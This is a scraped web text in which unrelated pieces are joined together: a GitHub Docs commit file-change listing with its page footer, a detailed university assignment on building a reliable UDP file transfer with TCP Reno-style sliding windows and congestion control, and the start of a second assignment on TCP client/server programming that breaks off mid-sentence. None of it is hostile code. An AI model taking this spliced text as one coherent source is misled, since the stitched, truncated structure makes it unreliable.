content/github/searching-for-information-on-github/searching-discussions.md 2 ...ithub/searching-for-information-on-github/searching-issues-and-pull-requests.md 2 ...nd-managing-billing-and-payments-on-github/about-billing-for-github-sponsors.md 4 ...-billing-and-payments-on-github/discounted-subscriptions-for-github-accounts.md 19 ...ing-up-and-managing-billing-and-payments-on-github/downgrading-a-sponsorship.md 16 ...tting-up-and-managing-billing-and-payments-on-github/upgrading-a-sponsorship.md 4 content/github/setting-up-and-managing-organizations-and-teams/index.md 27 ...and-teams/managing-discussion-creation-for-repositories-in-your-organization.md 25 ...izations-and-teams/managing-updates-from-accounts-your-organization-sponsors.md 3 ...p-and-managing-organizations-and-teams/permission-levels-for-an-organization.md 14 ...ing-organizations-and-teams/repository-permission-levels-for-an-organization.md 86 ...naging-organizations-and-teams/reviewing-the-audit-log-for-your-organization.md 1 content/github/setting-up-and-managing-your-github-user-account/index.md 24 ...etting-up-and-managing-your-github-user-account/managing-your-theme-settings.md 12 content/github/site-policy/github-additional-product-terms.md 8 ...porting-the-open-source-community-with-github-sponsors/about-github-sponsors.md 17 ...community-with-github-sponsors/attributing-sponsorships-to-your-organization.md 28 ...e-open-source-community-with-github-sponsors/changing-your-sponsorship-tiers.md 22 ...th-github-sponsors/configuring-webhooks-for-events-in-your-sponsored-account.md 17 ...ting-the-open-source-community-with-github-sponsors/contacting-your-sponsors.md 25 ...munity-with-github-sponsors/editing-your-profile-details-for-github-sponsors.md 1 content/github/supporting-the-open-source-community-with-github-sponsors/index.md 12 ...ce-community-with-github-sponsors/managing-your-payouts-from-github-sponsors.md 18 ...he-open-source-community-with-github-sponsors/managing-your-sponsorship-goal.md 39 ...ing-the-open-source-community-with-github-sponsors/managing-your-sponsorship.md 10 ...munity-with-github-sponsors/setting-up-github-sponsors-for-your-organization.md 10 ...munity-with-github-sponsors/setting-up-github-sponsors-for-your-user-account.md 62 ...-source-community-with-github-sponsors/sponsoring-an-open-source-contributor.md 27 ...source-community-with-github-sponsors/viewing-your-sponsors-and-sponsorships.md 23 content/github/teaching-and-learning-with-github-education/index.md This file was deleted. 7 ...nt/github/visualizing-repository-data-with-graphs/about-the-dependency-graph.md 1 content/github/working-with-github-support/index.md 10 content/graphql/README.md 58 ...tting-started-with-github-container-registry/about-github-container-registry.md This file was deleted. 15 content/packages/getting-started-with-github-container-registry/index.md This file was deleted. 95 content/packages/guides/about-github-container-registry.md 2 ...ol-and-visibility-for-container-images.md → ...ol-and-visibility-for-container-images.md 5 ...che-maven-for-use-with-github-packages.md → ...che-maven-for-use-with-github-packages.md 1 ...ng-docker-for-use-with-github-packages.md → ...ng-docker-for-use-with-github-packages.md 1 ...otnet-cli-for-use-with-github-packages.md → ...otnet-cli-for-use-with-github-packages.md 1 ...ng-gradle-for-use-with-github-packages.md → ...ng-gradle-for-use-with-github-packages.md 1 ...uring-npm-for-use-with-github-packages.md → ...uring-npm-for-use-with-github-packages.md 1 ...-rubygems-for-use-with-github-packages.md → ...-rubygems-for-use-with-github-packages.md 2 ...ting-a-repository-to-a-container-image.md → ...ting-a-repository-to-a-container-image.md 10 content/packages/guides/container-guides-for-github-packages.md 2 ...er-registry/deleting-a-container-image.md → ...ages/guides/deleting-a-container-image.md 2 ...ry/enabling-improved-container-support.md → ...es/enabling-improved-container-support.md 33 content/packages/guides/index.md 2 ...b-container-registry-for-docker-images.md → ...b-container-registry-for-docker-images.md 10 content/packages/guides/package-client-guides-for-github-packages.md 2 ...stry/pushing-and-pulling-docker-images.md → ...ides/pushing-and-pulling-docker-images.md 1 ...ng-github-packages-with-github-actions.md → ...ng-github-packages-with-github-actions.md 46 content/packages/index.md 60 ...anaging-packages/about-github-packages.md → ...-github-packages/about-github-packages.md 13 ...concepts-for-github-container-registry.md → ...ages/core-concepts-for-github-packages.md 16 content/packages/learn-github-packages/index.md 1 ...managing-packages/publishing-a-package.md → ...n-github-packages/publishing-a-package.md 3 ...d-managing-packages/deleting-a-package.md → ...ges/manage-packages/deleting-a-package.md 8 ...publishing-and-managing-packages/index.md → content/packages/manage-packages/index.md 1 ...managing-packages/installing-a-package.md → ...s/manage-packages/installing-a-package.md 1 ...and-managing-packages/viewing-packages.md → ...kages/manage-packages/viewing-packages.md 11 content/packages/managing-container-images-with-github-container-registry/index.md This file was deleted. 109 content/packages/quickstart.md 20 content/packages/using-github-packages-with-your-projects-ecosystem/index.md This file was deleted. 10 content/rest/README.md 18 content/rest/overview/resources-in-the-rest-api.md 2 content/rest/overview/troubleshooting.md 10 content/rest/reference/enterprise-admin.md 2 data/products.yml 2 data/reusables/accounts/create-account.md 2 data/reusables/actions/actions-not-verified.md 7 data/reusables/actions/visualization-beta.md 5 data/reusables/audit_log/audit-log-api-info.md 1 data/reusables/audit_log/audit-log-git-events-retention.md 1 data/reusables/classroom/about-assignments.md 1 data/reusables/classroom/about-autograding.md 1 data/reusables/classroom/about-classrooms.md 1 data/reusables/classroom/about-online-ides.md 1 data/reusables/classroom/assignments-classroom-prerequisite.md 2 data/reusables/classroom/assignments-click-pencil.md 1 data/reusables/classroom/assignments-group-definition.md 5 data/reusables/classroom/assignments-guide-assign-a-deadline.md 5 data/reusables/classroom/assignments-guide-choose-an-online-ide.md 5 data/reusables/classroom/assignments-guide-choose-template-repository.md 9 data/reusables/classroom/assignments-guide-choose-visibility.md 7 data/reusables/classroom/assignments-guide-click-continue-after-basics.md 7 ...s/classroom/assignments-guide-click-continue-after-starter-code-and-feedback.md 5 data/reusables/classroom/assignments-guide-click-create-assignment-button.md 5 data/reusables/classroom/assignments-guide-create-review-pull-request.md 5 data/reusables/classroom/assignments-guide-create-the-assignment.md 1 data/reusables/classroom/assignments-guide-intro-for-environment.md 3 data/reusables/classroom/assignments-guide-invite-students-to-assignment.md 7 data/reusables/classroom/assignments-guide-prevent-changes.md 23 data/reusables/classroom/assignments-guide-using-autograding.md 1 data/reusables/classroom/assignments-individual-definition.md 1 data/reusables/classroom/assignments-to-prevent-submission.md 5 data/reusables/classroom/assignments-type-a-title.md 1 data/reusables/classroom/classroom-creates-group-repositories.md 1 data/reusables/classroom/classroom-creates-individual-repositories.md 1 data/reusables/classroom/classroom-enables-invitation-urls.md 2 data/reusables/classroom/click-assignment-in-list.md 2 data/reusables/classroom/click-classroom-in-list.md 2 data/reusables/classroom/click-settings.md 2 data/reusables/classroom/click-students.md 1 data/reusables/classroom/for-more-information-about-assignment-creation.md 6 data/reusables/classroom/guide-create-new-classroom.md 5 data/reusables/classroom/invitation-url-warning.md 1 data/reusables/classroom/readme-contains-button-for-online-ide.md 1 data/reusables/classroom/sign-into-github-classroom.md 1 data/reusables/classroom/use-add-test-drop-down-to-click-grading-method.md 1 data/reusables/classroom/you-can-choose-a-template-repository.md 1 data/reusables/classroom/you-can-create-a-pull-request-for-feedback.md 1 data/reusables/classroom/you-may-want-to-predefine-repository-settings.md 1 data/reusables/discussions/about-categories-and-formats.md 1 data/reusables/discussions/about-discussions.md 5 data/reusables/discussions/beta.md 2 data/reusables/discussions/click-discussion-in-list.md 2 data/reusables/discussions/discussions-tab.md 2 data/reusables/discussions/edit-categories.md 1 data/reusables/discussions/edit-category-details.md 8 ...les/discussions/enabling-or-disabling-github-discussions-for-your-repository.md 1 data/reusables/discussions/github-recognizes-members.md 16 data/reusables/discussions/marking-a-comment-as-an-answer.md 1 data/reusables/discussions/repository-category-limit.md 10 data/reusables/discussions/starting-a-discussion.md 1 data/reusables/discussions/you-can-categorize-discussions.md 1 data/reusables/discussions/you-can-convert-an-issue.md 1 data/reusables/discussions/you-can-use-discussions.md 1 data/reusables/discussions/you-cannot-convert-a-discussion.md 2 data/reusables/education/about-github-education-link.md 2 data/reusables/education/apply-for-team.md 2 data/reusables/education/click-get-teacher-benefits.md 6 data/reusables/education/educator-requirements.md 1 data/reusables/gated-features/discussions.md 1 data/reusables/marketplace/app-transfer-to-org-for-verification.md 5 data/reusables/marketplace/free-plan-note.md 2 data/reusables/marketplace/launch-with-free.md 8 data/reusables/marketplace/marketplace-billing-ui-requirements.md 2 data/reusables/package_registry/billing-for-container-registry.md 2 data/reusables/package_registry/container-registry-beta-billing-note.md 2 data/reusables/package_registry/container-registry-beta.md 2 data/reusables/package_registry/docker_registry_deprecation_status.md 2 data/reusables/package_registry/feature-preview-for-container-registry.md 2 data/reusables/package_registry/required-scopes.md 2 data/reusables/package_registry/viewing-packages.md 3 data/reusables/repositories/dependency-review.md 7 data/reusables/repositories/navigate-to-job-superlinter.md 4 data/reusables/repositories/view-failed-job-results-superlinter.md 4 data/reusables/repositories/view-specific-line-superlinter.md 2 data/reusables/search/date_gt_lt.md 2 data/reusables/sponsors/billing-switcher.md 2 data/reusables/sponsors/change-tier.md 2 data/reusables/sponsors/choose-updates.md 2 data/reusables/sponsors/developer-sponsored-choose-updates.md This file was deleted. 4 data/reusables/sponsors/manage-developer-sponsorship.md This file was deleted. 4 data/reusables/sponsors/manage-org-sponsorship.md This file was deleted. 2 data/reusables/sponsors/manage-sponsorship.md 1 data/reusables/sponsors/manage-updates-for-orgs.md 2 data/reusables/sponsors/maximum-tier.md 4 data/reusables/sponsors/navigate-to-org-sponsors-dashboard.md This file was deleted. 2 ...onsors/navigate-to-sponsored-developer.md → ...sponsors/navigate-to-sponsored-account.md 1 data/reusables/sponsors/navigate-to-sponsored-org.md This file was deleted. 2 ...ors/navigate-to-dev-sponsors-dashboard.md → ...ponsors/navigate-to-sponsors-dashboard.md 2 data/reusables/sponsors/no-fees.md 5 data/reusables/sponsors/org-sponsors-release-phase.md 2 data/reusables/sponsors/pay-prorated-amount.md 2 data/reusables/sponsors/prorated-sponsorship.md 2 data/reusables/sponsors/sponsor-account.md 7 data/reusables/sponsors/sponsorship-dashboard.md 2 data/reusables/sponsors/sponsorship-details.md 1 data/reusables/webhooks/app_always_desc.md 3 data/ui.yml 7 data/variables/action_code_examples.yml 37 data/variables/discussions_community_examples.yml 6 data/variables/product.yml 21 includes/all-articles.html 4 includes/breadcrumbs.html 2 includes/code-example-card.html 14 includes/discussions-community-card.html 2 includes/header-notification.html 90 javascripts/filter-cards.js 92 javascripts/filter-code-examples.js This file was deleted. 4 javascripts/index.js 64 layouts/product-landing.html 68 lib/data-directory.js 28 lib/filename-to-key.js 7 lib/frontmatter.js 2 lib/liquid-tags/data.js 25 lib/page.js 54 lib/pages.js 21 lib/redirects/get-docs-path-from-developer-path.js 41 lib/redirects/precompile.js 231 lib/rest/static/decorated/api.github.com.json 495 lib/rest/static/dereferenced/api.github.com.deref.json 17 lib/rewrite-local-links.js 10 lib/site-data.js 24 lib/warm-server.js 5 middleware/breadcrumbs.js 38 middleware/categories-for-support-team.js 6 middleware/contextualizers/early-access-links.js 103 middleware/csp.js 69 middleware/early-access-breadcrumbs.js 1 middleware/index.js 45 package-lock.json 3 package.json 4 script/check-s3-images.js 4 script/early-access/clone-locally 41 script/early-access/create-branch 7 server.js 2 stylesheets/article.scss 4 tests/browser/browser.js 10 tests/content/category-pages.js 2 tests/content/crowdin-config.js 3 tests/content/featured-links.js 5 tests/content/glossary.js 42 tests/content/remove-liquid-statements.js 39 tests/content/site-data-references.js 4 tests/content/site-data.js 22 tests/fixtures/rest-redirects.json 10 tests/graphql/build-changelog-test.js 9 tests/helpers/conditional-runs.js 20 tests/meta/orphan-tests.js 23 tests/rendering/breadcrumbs.js 4 tests/rendering/rest.js 3 tests/rendering/server.js 47 tests/routing/developer-site-redirects.js 10 tests/routing/redirects.js 15 tests/unit/data-directory/filename-to-key.js 1 tests/unit/data-directory/fixtures/README.md 1 tests/unit/data-directory/fixtures/bar.yaml 1 tests/unit/data-directory/fixtures/foo.json 1 tests/unit/data-directory/fixtures/nested/baz.md 40 tests/unit/data-directory/index.js 19 tests/unit/early-access.js 4 tests/unit/find-page.js 57 tests/unit/liquid-helpers.js 140 tests/unit/page.js 2 tests/unit/pages.js 0 comments on commit 1a56ed1 Leave a comment You’re not receiving notifications from this thread. © 2021 GitHub, Inc. Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About
The aim of this assignment is to have you do UDP socket client / server programming with a focus on two broad aspects : Setting up the exchange between the client and server in a secure way despite the lack of a formal connection (as in TCP) between the two, so that ‘outsider’ UDP datagrams (broadcast, multicast, unicast - fortuitously or maliciously) cannot intrude on the communication. Introducing application-layer protocol data-transmission reliability, flow control and congestion control in the client and server using TCP-like ARQ sliding window mechanisms. The second item above is much more of a challenge to implement than the first, though neither is particularly trivial. But they are not tightly interdependent; each can be worked on separately at first and then integrated together at a later stage. Apart from the material in Chapters 8, 14 & 22 (especially Sections 22.5 - 22.7), and the experience you gained from the preceding assignment, you will also need to refer to the following : ioctl function (Chapter 17). get_ifi_info function (Section 17.6, Chapter 17). This function will be used by the server code to discover its node’s network interfaces so that it can bind all its interface IP addresses (see Section 22.6). ‘Race’ conditions (Section 20.5, Chapter 20) You also need a thorough understanding of how the TCP protocol implements reliable data transfer, flow control and congestion control. Chapters 17- 24 of TCP/IP Illustrated, Volume 1 by W. Richard Stevens gives a good overview of TCP. Though somewhat dated for some things (it was published in 1994), it remains, overall, a good basic reference. Overview This assignment asks you to implement a primitive file transfer protocol for Unix platforms, based on UDP, and with TCP-like reliability added to the transfer operation using timeouts and sliding-window mechanisms, and implementing flow and congestion control. The server is a concurrent server which can handle multiple clients simultaneously. A client gives the server the name of a file. The server forks off a child which reads directly from the file and transfers the contents over to the client using UDP datagrams. The client prints out the file contents as they come in, in order, with nothing missing and with no duplication of content, directly on to stdout (via the receiver sliding window, of course, but with no other intermediate buffering). The file to be transferred can be of arbitrary length, but its contents are always straightforward ascii text. As an aside let me mention that assuming the file contents ascii is not as restrictive as it sounds. We can always pretend, for example, that binary files are base64 encoded (“ASCII armor”). A real file transfer protocol would, of course, have to worry about transferring files between heterogeneous platforms with different file structure conventions and semantics. The sender would first have to transform the file into a platform-independent, protocol-defined, format (using, say, ASN.1, or some such standard), and the receiver would have to transform the received file into its platform’s native file format. This kind of thing can be fairly time consuming, and is certainly very tedious, to implement, with little educational value - it is not part of this assignment. Arguments for the server You should provide the server with an input file server.in from which it reads the following information, in the order shown, one item per line : Well-known port number for server. Maximum sending sliding-window size (in datagram units). You will not be handing in your server.in file. We shall create our own when we come to test your code. So it is important that you stick strictly to the file name and content conventions specified above. The same applies to the client.in input file below. Arguments for the client The client is to be provided with an input file client.in from which it reads the following information, in the order shown, one item per line : IP address of server (not the hostname). Well-known port number of server. filename to be transferred. Receiving sliding-window size (in datagram units). Random generator seed value. Probability p of datagram loss. This should be a real number in the range [ 0.0 , 1.0 ] (value 0.0 means no loss occurs; value 1.0 means all datagrams all lost). The mean µ, in milliseconds, for an exponential distribution controlling the rate at which the client reads received datagram payloads from its receive buffer. Operation Server starts up and reads its arguments from file server.in. As we shall see, when a client communicates with the server, the server will want to know what IP address that client is using to identify the server (i.e. , the destination IP address in the incoming datagram). Normally, this can be done relatively straightforwardly using the IP_RECVDESTADDR socket option, and picking up the information using the ancillary data (‘control information’) capability of the recvmsg function. Unfortunately, Solaris 2.10 does not support the IP_RECVDESTADDR option (nor, incidentally, does it support the msg_flags option in msghdr - see p.390). This considerably complicates things. In the absence of IP_RECVDESTADDR, what the server has to do as part of its initialization phase is to bind each IP address it has (and, simultaneously, its well-known port number, which it has read in from server.in) to a separate UDP socket. The code in Section 22.6, which uses the get_ifi_info function, shows you how to do that. However, there are important differences between that code and the version you want to implement. The code of Section 22.6 binds the IP addresses and forks off a child for each address that is bound to. We do not want to do that. Instead you should have an array of socket descriptors. For each IP address, create a new socket and bind the address (and well-known port number) to the socket without forking off child processes. Creating child processes comes later, when clients arrive. The code of Section 22.6 also attempts to bind broadcast addresses. We do not want to do this. It binds a wildcard IP address, which we certainly do not want to do either. We should bind strictly only unicast addresses (including the loopback address). The get_ifi_info function (which the code in Section 22.6 uses) has to be modified so that it also gets the network masks for the IP addresses of the node, and adds these to the information stored in the linked list of ifi_info structures (see Figure 17.5, p.471) it produces. As you go binding each IP address to a distinct socket, it will be useful for later processing to build your own array of structures, where a structure element records the following information for each socket : sockfd IP address bound to the socket network mask for the IP address subnet address (obtained by doing a bit-wise and between the IP address and its network mask) Report, in a ReadMe file which you hand in with your code, on the modifications you had to introduce to ensure that only unicast addresses are bound, and on your implementation of the array of structures described above. You should print out on stdout, with an appropriate message and appropriately formatted in dotted decimal notation, the IP address, network mask, and subnet address for each socket in your array of structures (you do not need to print the sockfd). The server now uses select to monitor the sockets it has created for incoming datagrams. When it returns from select, it must use recvfrom or recvmsg to read the incoming datagram (see 6. below). When a client starts, it first reads its arguments from the file client.in. The client checks if the server host is ‘local’ to its (extended) Ethernet. If so, all its communication to the server is to occur as MSG_DONTROUTE (or SO_DONTROUTE socket option). It determines if the server host is ‘local’ as follows. The first thing the client should do is to use the modified get_ifi_info function to obtain all of its IP addresses and associated network masks. Print out on stdout, in dotted decimal notation and with an appropriate message, the IP addresses and network masks obtained. In the following, IPserver designates the IP address the client will use to identify the server, and IPclient designates the IP address the client will choose to identify itself. The client checks whether the server is on the same host. If so, it should use the loopback address 127.0.0.1 for the server (i.e. , IPserver = 127.0.0.1). IPclient should also be set to the loopback address. Otherwise it proceeds as follows: IPserver is set to the IP address for the server in the client.in file. Given IPserver and the (unicast) IP addresses and network masks for the client returned by get_ifi_info in the linked list of ifi_info structures, you should be able to figure out if the server node is ‘local’ or not. This will be discussed in class; but let me just remind you here that you should use ‘longest prefix matching’ where applicable. If there are multiple client addresses, and the server host is ‘local’, the client chooses an IP address for itself, IPclient, which matches up as ‘local’ according to your examination above. If the server host is not ‘local’, then IPclient can be chosen arbitrarily. Print out on stdout the results of your examination, as to whether the server host is ‘local’ or not, as well as the IPclient and IPserver addresses selected. Note that this manner of determining whether the server is local or not is somewhat clumsy and ‘over-engineered’, and, as such, should be viewed more in the nature of a pedagogical exercise. Ideally, we would like to look up the server IP address(es) in the routing table (see Section 18.3). This requires that a routing socket be created, for which we need superuser privilege. Alternatively, we might want to dump out the routing table, using the sysctl function for example (see Section 18.4), and examine it directly. Unfortunately, Solaris 2.10 does not support sysctl. Furthermore, note that there is a slight problem with the address 130.245.1.123/24 assigned to compserv3 (see rightmost column of file hosts, and note that this particular compserv3 address “overlaps” with the 130.245.1.x/28 addresses in that same column assigned to compserv1, compserv2 & comserv4). In particular, if the client is running on compserv3 and the server on any of the other three compservs, and if that server node is also being identified to the client by its /28 (rather than its /24) address, then the client will get a “false positive” when it tests as to whether the server node is local or not. In other words, the client will deem the server node to be local, whereas in fact it should not be considered local. Because of this, it is perhaps best simply not to use compserv3 to run the client (but it is o.k. to use it to run the server). Finally, using MSG_DONTROUTE where possible would seem to gain us efficiency, in as much as the kernel does not need to consult the routing table for every datagram sent. But, in fact, that is not so. Recall that one effect of connect with UDP sockets is that routing information is obtained by the kernel at the time the connect is issued. That information is cached and used for subsequent sends from the connected socket (see p.255). The client now creates a UDP socket and calls bind on IPclient, with 0 as the port number. This will cause the kernel to bind an ephemeral port to the socket. After the bind, use the getsockname function (Section 4.10) to obtain IPclient and the ephemeral port number that has been assigned to the socket, and print that information out on stdout, with an appropriate message and appropriately formatted. The client connects its socket to IPserver and the well-known port number of the server. After the connect, use the getpeername function (Section 4.10) to obtain IPserver and the well-known port number of the server, and print that information out on stdout, with an appropriate message and appropriately formatted. The client sends a datagram to the server giving the filename for the transfer. This send needs to be backed up by a timeout in case the datagram is lost. Note that the incoming datagram from the client will be delivered to the server at the socket to which the destination IP address that the datagram is carrying has been bound. Thus, the server can obtain that address (it is, of course, IPserver) and thereby achieve what IP_RECVDESTADDR would have given us had it been available. Furthermore, the server process can obtain the IP address (this will, of course, be IPclient) and ephemeral port number of the client through the recvfrom or recvmsg functions. The server forks off a child process to handle the client. The server parent process goes back to the select to listen for new clients. Hereafter, and unless otherwise stated, whenever we refer to the ‘server’, we mean the server child process handling the client’s file transfer, not the server parent process. Typically, the first thing the server child would be expected to do is to close all sockets it ‘inherits’ from its parent. However, this is not the case with us. The server child does indeed close the sockets it inherited, but not the socket on which the client request arrived. It leaves that socket open for now. Call this socket the ‘listening’ socket. The server (child) then checks if the client host is local to its (extended) Ethernet. If so, all its communication to the client is to occur as MSG_DONTROUTE (or SO_DONTROUTE socket option). If IPserver (obtained in 5. above) is the loopback address, then we are done. Otherwise, the server has to proceed with the following step. Use the array of structures you built in 1. above, together with the addresses IPserver and IPclient to determine if the client is ‘local’. Print out on stdout the results of your examination, as to whether the client host is ‘local’ or not. The server (child) creates a UDP socket to handle file transfer to the client. Call this socket the ‘connection’ socket. It binds the socket to IPserver, with port number 0 so that its kernel assigns an ephemeral port. After the bind, use the getsockname function (Section 4.10) to obtain IPserver and the ephemeral port number that has been assigned to the socket, and print that information out on stdout, with an appropriate message and appropriately formatted. The server then connects this ‘connection’ socket to the client’s IPclient and ephemeral port number. The server now sends the client a datagram, in which it passes it the ephemeral port number of its ‘connection’ socket as the data payload of the datagram. This datagram is sent using the ‘listening’ socket inherited from its parent, otherwise the client (whose socket is connected to the server’s ‘listening’ socket at the latter’s well-known port number) will reject it. This datagram must be backed up by the ARQ mechanism, and retransmitted in the event of loss. Note that if this datagram is indeed lost, the client might well time out and retransmit its original request message (the one carrying the file name). In this event, you must somehow ensure that the parent server does not mistake this retransmitted request for a new client coming in, and spawn off yet another child to handle it. How do you do that? It is potentially more involved than it might seem. I will be discussing this in class, as well as ‘race’ conditions that could potentially arise, depending on how you code the mechanisms I present. When the client receives the datagram carrying the ephemeral port number of the server’s ‘connection’ socket, it reconnects its socket to the server’s ‘connection’ socket, using IPserver and the ephemeral port number received in the datagram (see p.254). It now uses this reconnected socket to send the server an acknowledgment. Note that this implies that, in the event of the server timing out, it should retransmit two copies of its ‘ephemeral port number’ message, one on its ‘listening’ socket and the other on its ‘connection’ socket (why?). When the server receives the acknowledgment, it closes the ‘listening’ socket it inherited from its parent. The server can now commence the file transfer through its ‘connection’ socket. The net effect of all these binds and connects at server and client is that no ‘outsider’ UDP datagram (broadcast, multicast, unicast - fortuitously or maliciously) can now intrude on the communication between server and client. Starting with the first datagram sent out, the client behaves as follows. Whenever a datagram arrives, or an ACK is about to be sent out (or, indeed, the initial datagram to the server giving the filename for the transfer), the client uses some random number generator function random() (initialized by the client.in argument value seed) to decide with probability p (another client.in argument value) if the datagram or ACK should be discarded by way of simulating transmission loss across the network. (I will briefly discuss in class how you do this.) Adding reliability to UDP The mechanisms you are to implement are based on TCP Reno. These include : Reliable data transmission using ARQ sliding-windows, with Fast Retransmit. Flow control via receiver window advertisements. Congestion control that implements : SlowStart Congestion Avoidance (‘Additive-Increase/Multiplicative Decrease’ – AIMD) Fast Recovery (but without the window-inflation aspect of Fast Recovery) Only some, and by no means all, of the details for these are covered below. The rest will be presented in class, especially those concerning flow control and TCP Reno’s congestion control mechanisms in general : Slow Start, Congestion Avoidance, Fast Retransmit and Fast Recovery. Implement a timeout mechanism on the sender (server) side. This is available to you from Stevens, Section 22.5 . Note, however, that you will need to modify the basic driving mechanism of Figure 22.7 appropriately since the situation at the sender side is not a repetitive cycle of send-receive, but rather a straightforward progression of send-send-send-send- . . . . . . . . . . . Also, modify the RTT and RTO mechanisms of Section 22.5 as specified below. I will be discussing the details of these modifications and the reasons for them in class. Modify function rtt_stop (Fig. 22.13) so that it uses integer arithmetic rather than floating point. This will entail your also having to modify some of the variable and function parameter declarations throughout Section 22.5 from float to int, as appropriate. In the unprrt.h header file (Fig. 22.10) set : RTT_RXTMIN to 1000 msec. (1 sec. instead of the current value 3 sec.) RTT_RXTMAX to 3000 msec. (3 sec. instead of the current value 60 sec.) RTT_MAXNREXMT to 12 (instead of the current value 3) In function rtt_timeout (Fig. 22.14), after doubling the RTO in line 86, pass its value through the function rtt_minmax of Fig. 22.11 (somewhat along the lines of what is done in line 77 of rtt_stop, Fig. 22.13). Finally, note that with the modification to integer calculation of the smoothed RTT and its variation, and given the small RTT values you will experience on the cs / sbpub network, these calculations should probably now be done on a millisecond or even microsecond scale (rather than in seconds, as is the case with Stevens’ code). Otherwise, small measured RTTs could show up as 0 on a scale of seconds, yielding a negative result when we subtract the smoothed RTT from the measured RTT (line 72 of rtt_stop, Fig. 22.13). Report the details of your modifications to the code of Section 22.5 in the ReadMe file which you hand in with your code. We need to have a sender sliding window mechanism for the retransmission of lost datagrams; and a receiver sliding window in order to ensure correct sequencing of received file contents, and some measure of flow control. You should implement something based on TCP Reno’s mechanisms, with cumulative acknowledgments, receiver window advertisements, and a congestion control mechanism I will explain in detail in class. For a reference on TCP’s mechanisms generally, see W. Richard Stevens, TCP/IP Illustrated, Volume 1 , especially Sections 20.2 - 20.4 of Chapter 20 , and Sections 21.1 - 21.8 of Chapter 21 . Bear in mind that our sequence numbers should count datagrams, not bytes as in TCP. Remember that the sender and receiver window sizes have to be set according to the argument values in client.in and server.in, respectively. Whenever the sender window becomes full and so ‘locks’, the server should print out a message to that effect on stdout. Similarly, whenever the receiver window ‘locks’, the client should print out a message on stdout. Be aware of the potential for deadlock when the receiver window ‘locks’. This situation is handled by having the receiver process send a duplicate ACK which acts as a window update when its window opens again (see Figure 20.3 and the discussion about it in TCP/IP Illustrated). However, this is not enough, because ACKs are not backed up by a timeout mechanism in the event they are lost. So we will also need to implement a persist timer driving window probes in the sender process (see Sections 22.1 & 22.2 in Chapter 22 of TCP/IP Illustrated). Note that you do not have to worry about the Silly Window Syndrome discussed in Section 22.3 of TCP/IP Illustrated since the receiver process consumes ‘full sized’ 512-byte messages from the receiver buffer (see 3. below). Report on the details of the ARQ mechanism you implemented in the ReadMe file you hand in. Indeed, you should report on all the TCP mechanisms you implemented in the ReadMe file, both the ones discussed here, and the ones I will be discussing in class. Make your datagram payload a fixed 512 bytes, inclusive of the file transfer protocol header (which must, at the very least, carry: the sequence number of the datagram; ACKs; and advertised window notifications). The client reads the file contents in its receive buffer and prints them out on stdout using a separate thread. This thread sits in a repetitive loop till all the file contents have been printed out, doing the following. It samples from an exponential distribution with mean µ milliseconds (read from the client.in file), sleeps for that number of milliseconds; wakes up to read and print all in-order file contents available in the receive buffer at that point; samples again from the exponential distribution; sleeps; and so on. The formula -1 × µ × ln( random( ) ) , where ln is the natural logarithm, yields variates from an exponential distribution with mean µ, based on the uniformly-distributed variates over ( 0 , 1 ) returned by random(). Note that you will need to implement some sort of mutual exclusion/semaphore mechanism on the client side so that the thread that sleeps and wakes up to consume from the receive buffer is not updating the state variables of the buffer at the same time as the main thread reading from the socket and depositing into the buffer is doing the same. Furthermore, we need to ensure that the main thread does not effectively monopolize the semaphore (and thus lock out for prolonged periods of time) the sleeping thread when the latter wakes up. See the textbook, Section 26.7, ‘Mutexes: Mutual Exclusion’, pp.697-701. You might also find Section 26.8, ‘Condition Variables’, pp.701-705, useful. You will need to devise some way by which the sender can notify the receiver when it has sent the last datagram of the file transfer, without the receiver mistaking that EOF marker as part of the file contents. (Also, note that the last data segment could be a “short” segment of less than 512 bytes – your client needs to be able to handle this correctly somehow.) When the sender receives an ACK for the last datagram of the transfer, the (child) server terminates. The parent server has to take care of cleaning up zombie children. Note that if we want a clean closing, the client process cannot simply terminate when the receiver ACKs the last datagram. This ACK could be lost, which would leave the (child) server process ‘hanging’, timing out, and retransmitting the last datagram. TCP attempts to deal with this problem by means of the TIME_WAIT state. You should have your receiver process behave similarly, sticking around in something akin to a TIME_WAIT state in case in case it needs to retransmit the ACK. In the ReadMe file you hand in, report on how you dealt with the issues raised here: sender notifying receiver of the last datagram, clean closing, and so on. Output Some of the output required from your program has been described in the section Operation above. I expect you to provide further output – clear, well-structured, well-laid-out, concise but sufficient and helpful – in the client and server windows by means of which we can trace the correct evolution of your TCP’s behaviour in all its intricacies : information (e.g., sequence number) on datagrams and acks sent and dropped, window advertisements, datagram retransmissions (and why : dup acks or RTO); entering/exiting Slow Start and Congestion Avoidance, ssthresh and cwnd values; sender and receiver windows locking/unlocking; etc., etc. . . . . The onus is on you to convince us that the TCP mechanisms you implemented are working correctly. Too many students do not put sufficient thought, creative imagination, time or effort into this. It is not the TA’s nor my responsibility to sit staring at an essentially blank screen, trying to summon up our paranormal psychology skills to figure out if your TCP implementation is really working correctly in all its very intricate aspects, simply because the transferred file seems to be printing o.k. in the client window. Nor is it our responsibility to strain our eyes and our patience wading through a mountain of obscure, ill-structured, hyper-messy, debugging-style output because, for example, your effort-conserving concept of what is ‘suitable’ is to dump your debugging output on us, relevant, irrelevant, and everything in between.
SOYJUN
The aim of this assignment is to have you do TCP socket client / server programming using I/O multiplexing, child processes and threads. It also aims at getting you to familiarize yourselves with the inetd superserver daemon, the ‘exec’ family of functions, various socket error scenarios, some socket options, and some basic domain name / IP address conversion functions. Apart from the material in Chapters 1 to 6 covered in class, you will also need to refer to the following : the exec family of functions (Section 4.7 of Chapter 4) using pipes for interprocess communication (IPC) in Unix error scenarios induced by process terminations & host crashes (Sections 5.11 to 5.16, Chapter 5) setsockopt function & SO_REUSEADDR socket option (Section 7.2 & pp.210-213, Chapter 7) gethostbyname & gethostbyaddr functions (Sections 11.3 & 11.4, Chapter 11) the basic structure of inetd (Section 13.5, Chapter 13) programming with threads (Sections 26.1 to 26.5, Chapter 26) Overview I shall present an overview of this assignment and discuss some of the specification details given below in class on Wednesday, September 17 & Monday, September 22. Client The client is evoked with a command line argument giving either the server IP address in dotted decimal notation, or the server domain name. The client has to be able to handle either mode and figure out which of the two is being passed to it. If it is given the IP address, it calls the gethostbyaddr function to get the domain name, which it then prints out to the user in the form of an appropriate message (e.g., ‘The server host is compserv1.cs.stonybrook.edu’). The function gethostbyname, on the other hand, returns the IP address that corresponds to a given domain name. The client then enters an infinite loop in which it queries the user which service is being requested. There are two options : echo and time (note that time is a slightly modified version of the daytime service – see below). The client then forks off a child. After the child is forked off, the parent process enters a second loop in which it continually reads and prints out status messages 